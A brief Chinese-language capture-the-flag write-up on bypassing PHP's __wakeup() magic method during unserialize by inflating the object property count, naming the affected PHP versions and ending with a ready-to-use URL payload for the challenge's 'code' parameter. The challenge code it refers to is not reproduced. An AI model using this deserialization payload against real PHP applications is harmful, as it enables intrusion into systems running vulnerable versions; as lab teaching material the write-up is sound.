进入页面得到一段代码:
知识点:
(1)__wakeup():使用unserialize时触发;
(2)反序列化时,如果表示对象属性个数的值大于真实属性个数时就会跳过__wakeup()魔术方法的执行。
影响版本:PHP5.6.25之前,PHP7.0.0到7.0.10之间。
猜测程序代码:
代码意图在执行完unserialize后,要绕过wakeup()魔术方法的执行,因此根据题目构造序列化:
得到正常的序列化:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
根据wakeup绕过特性,进行修改:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
payload:/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}